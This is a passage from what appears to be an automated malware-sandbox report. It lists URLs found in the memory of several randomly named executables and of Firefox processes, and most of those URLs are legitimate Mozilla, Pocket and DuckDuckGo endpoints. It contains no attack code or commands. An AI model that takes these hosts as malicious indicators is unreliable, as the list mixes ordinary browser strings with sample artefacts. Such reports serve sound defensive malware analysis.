Source: file.exe, 00000000.00000003.1390683124.00000000054D9000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2305424118.00000000014BD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2560485237.000001F3658AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2526904133.000001750FACB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000022.00000002.2893246597.000001F36A518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000022.00000003.2449943656.000001F36C2C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000022.00000002.2893246597.000001F36A518000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000022.00000002.2550900709.000001F35A111000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2550900709.000001F35A130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 00000022.00000003.2443822376.000001F372549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000022.00000003.2505600482.000001F36B15A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 00000022.00000003.2443822376.000001F372549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000022.00000003.2443822376.000001F372549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000022.00000003.2443822376.000001F372549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: 4b41d9dd20.exe, 00000013.00000002.2312440021.0000000000A5C000.00000040.00000001.01000000.0000000F.sdmp, 4b41d9dd20.exe, 00000013.00000003.2271033754.00000000053AB000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000025.00000000.2371590003.00000000008FC000.00000008.00000001.01000000.00000017.sdmp, 4b41d9dd20.exe, 00000029.00000003.2472215576.00000000051AB000.00000004.00001000.00020000.00000000.sdmp, 4b41d9dd20.exe, 00000029.00000002.2513367110.0000000000A5C000.00000040.00000001.01000000.0000000F.sdmp, num[1].exe.16.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000022.00000002.2875456684.000001F367760000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000022.00000002.2899281120.000001F36AD72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2379508618.000001F369C63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2379998814.000001F369C83000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2894351966.000001F36A6FC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2894351966.000001F36A67E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2378951691.000001F369C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2906431489.000001F36B339000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2378655391.000001F369A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2379178677.000001F369C42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000022.00000002.2905653405.000001F36B262000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: file.exe, 00000000.00000003.1335538567.000000000551B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335696161.0000000005519000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335588278.0000000005519000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2270077428.0000000005DA8000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2269834819.0000000005DBF000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2479618391.000000000552D000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480039861.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480879101.000000000552B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1335538567.000000000551B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335696161.0000000005519000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335588278.0000000005519000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2270077428.0000000005DA8000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2269834819.0000000005DBF000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2479618391.000000000552D000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480039861.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480879101.000000000552B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1335538567.000000000551B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335696161.0000000005519000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1335588278.0000000005519000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2270077428.0000000005DA8000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2269834819.0000000005DBF000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2479618391.000000000552D000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480039861.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000026.00000003.2480879101.000000000552B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000022.00000002.2875456684.000001F367760000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000022.00000002.2628709169.000001F365E7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368487000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2879035456.000001F369839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2384808863.000001F369833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000022.00000002.2876851521.000001F368487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000022.00000002.2876851521.000001F368487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000022.00000002.2876851521.000001F368487000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2879035456.000001F369839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2384808863.000001F369833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447988783.000001F371E63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000022.00000003.2454791356.000001F36AC91000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 00000022.00000003.2454791356.000001F36AC91000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2455931820.000001F36AC87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000022.00000002.2690546838.000001F366224000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2550900709.000001F35A16B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447988783.000001F371E63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000022.00000003.2447988783.000001F371E63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0C2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000022.00000003.2447537773.000001F372625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000022.00000003.2447537773.000001F372625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000022.00000003.2447537773.000001F372625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000022.00000003.2447537773.000001F372625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000022.00000003.2447537773.000001F372625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000022.00000003.2447537773.000001F372625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000022.00000003.2447537773.000001F372625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000022.00000003.2447988783.000001F371E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000022.00000003.2447537773.000001F372625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447692855.000001F3724C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000022.00000003.2447537773.000001F372625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000022.00000003.2447988783.000001F371E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 00000022.00000003.2447988783.000001F371E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 00000022.00000003.2447988783.000001F371E63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000022.00000003.2443822376.000001F372549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000022.00000003.2444404461.000001F372530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000022.00000003.2444404461.000001F372530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000022.00000003.2443822376.000001F372549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000022.00000003.2443822376.000001F372549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000022.00000002.2875456684.000001F367760000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000022.00000003.2379508618.000001F369C63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2378951691.000001F369C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2378655391.000001F369A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2379178677.000001F369C42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000022.00000002.2690546838.000001F36627A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotschrome://global/content/elements/wizard.js
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2451846844.000001F36B967000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447988783.000001F371EBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000022.00000002.2690546838.000001F366224000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447988783.000001F371E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2451846844.000001F36B967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/experimental-features-media-jxl
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2451846844.000001F36B967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/experimental-features-media-jxlwebrtc-global-mute-toggleswebrtc-glob
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000022.00000002.2550900709.000001F35A111000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2526904133.000001750FACB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0CED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000022.00000003.2447988783.000001F371E63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2727624317.000001F366F7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0C86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000022.00000003.2447988783.000001F371E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 00000022.00000003.2443822376.000001F372549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
